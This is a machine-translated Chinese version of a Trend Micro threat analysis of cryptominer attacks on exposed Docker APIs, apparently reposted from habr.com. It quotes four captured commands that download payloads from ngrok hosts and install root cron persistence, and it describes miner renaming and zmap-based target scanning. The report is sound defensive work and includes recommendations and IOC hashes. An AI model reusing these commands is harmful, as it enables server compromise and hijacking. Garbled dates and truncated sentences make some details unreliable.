我们分析了使用蜜罐容器收集的数据,我们创建蜜罐容器是为了跟踪威胁。 我们使用 Docker Hub 上社区发布的映像检测到来自不需要或未经授权的加密货币矿工的重大活动,这些矿工部署为恶意容器。 该图像用作提供恶意加密货币矿工的服务的一部分。
此外,还安装了用于网络工作的程序来渗透开放的相邻容器和应用程序。
我们将蜜罐保持原样,即使用默认设置,没有任何安全措施或随后安装其他软件。 请注意,Docker 提供了初始设置建议,以避免错误和简单漏洞。 但使用的蜜罐是容器,旨在检测针对容器化平台的攻击,而不是容器内的应用程序。
检测到的恶意活动也值得注意,因为它不需要漏洞,并且与 Docker 版本无关。 攻击者只需找到配置不正确且开放的容器映像即可感染许多开放服务器。
未封闭的 Docker API 允许用户执行多种操作
左边是恶意软件的传递方法。 右侧是攻击者的环境,允许远程转出图像。
3762 个开放 Docker API 按国家/地区分布。 基于 12.02.2019 年 XNUMX 月 XNUMX 日的 Shodan 搜索
攻击链和有效负载选项
恶意活动的检测不仅需要蜜罐的帮助。 Shodan 的数据显示,自从我们调查了一个配置错误的容器(用作部署 Monero 加密货币挖掘软件的桥梁)以来,暴露的 Docker API 的数量(参见第二张图)有所增加。 去年2018月(XNUMX年,当前数据
对蜜罐日志的检查表明,容器映像的使用也与
Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”
Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”
Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,
Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”
正如你所看到的,上传的文件是从不断变化的URL下载的。 这些 URL 的有效期很短,因此在到期日期之后无法下载有效负载。
有两个有效负载选项。 第一个是用于 Linux 的已编译 ELF 矿工(定义为 Coinminer.SH.MALXMR.ATNO),连接到矿池。 第二个是一个脚本(TrojanSpy.SH.ZNETMAP.A),旨在获取某些网络工具,用于扫描网络范围,然后搜索新目标。
Dropper 脚本设置两个变量,然后用于部署加密货币挖掘器。 HOST变量包含恶意文件所在的URL,RIP变量是要部署的矿工的文件名(实际上是哈希值)。 每次哈希变量发生变化时,HOST 变量都会发生变化。 该脚本还尝试检查受攻击的服务器上是否没有其他加密货币矿工正在运行。
HOST 和 RIP 变量的示例,以及用于检查没有其他矿工正在运行的代码片段
在启动矿工之前,将其重命名为 nginx。 该脚本的其他版本将矿工重命名为 Linux 环境中可能存在的其他合法服务。 这通常足以绕过对正在运行的进程列表的检查。
搜索脚本也有特点。 它使用相同的 URL 服务来部署必要的工具。 其中包括 zmap 二进制文件,它用于扫描网络并获取开放端口列表。 该脚本还会加载另一个二进制文件,该二进制文件用于与找到的服务进行交互并从它们接收横幅以确定有关找到的服务的其他信息(例如其版本)。
该脚本还预先确定了一些要扫描的网络范围,但这取决于脚本的版本。 它还在运行扫描之前设置服务(在本例中为 Docker)的目标端口。
一旦发现可能的目标,横幅就会自动从其中删除。 该脚本还根据感兴趣的服务、应用程序、组件或平台过滤目标:Redis、Jenkins、Drupal、MODX、
攻击向量是 Docker 镜像,如接下来的两段代码所示。
顶部是重命名为合法服务,底部是如何使用 zmap 扫描网络
顶部是预定义的网络范围,底部是用于搜索服务的特定端口,包括 Docker
截图显示alpine-curl图片下载量已超过10万次
基于Alpine Linux和curl(一种资源高效的CLI工具,用于通过各种协议传输文件),您可以构建
需要注意的是,该图像(alpine-curl)本身并不是恶意的,但正如您在上面所看到的,它可用于执行恶意功能。 类似的 Docker 镜像也可用于执行恶意活动。 我们联系了 Docker 并与他们一起解决这个问题。
建议
本文讨论的事件凸显了从一开始就考虑安全的必要性,包括以下建议:
- 对于系统管理员和开发人员:请务必检查您的 API 设置,以确保所有内容都配置为仅接受来自特定服务器或内部网络的请求。
- 遵循最小权限原则:确保容器镜像经过签名和验证,限制对关键组件(容器启动服务)的访问,并对网络连接添加加密。
- 跟随
建议 并启用安全机制,例如来自 Docker 和内置安全功能 . - 使用运行时和映像的自动扫描来获取有关容器中运行的进程的其他信息(例如,检测欺骗或搜索漏洞)。 应用程序控制和完整性监控有助于跟踪服务器、文件和系统区域的异常更改。
趋势科技帮助 DevOps 团队安全构建、快速部署并在任何地方启动。 趋势科技
妥协的迹象
相关哈希值:
- 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
- f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)
上
来源: habr.com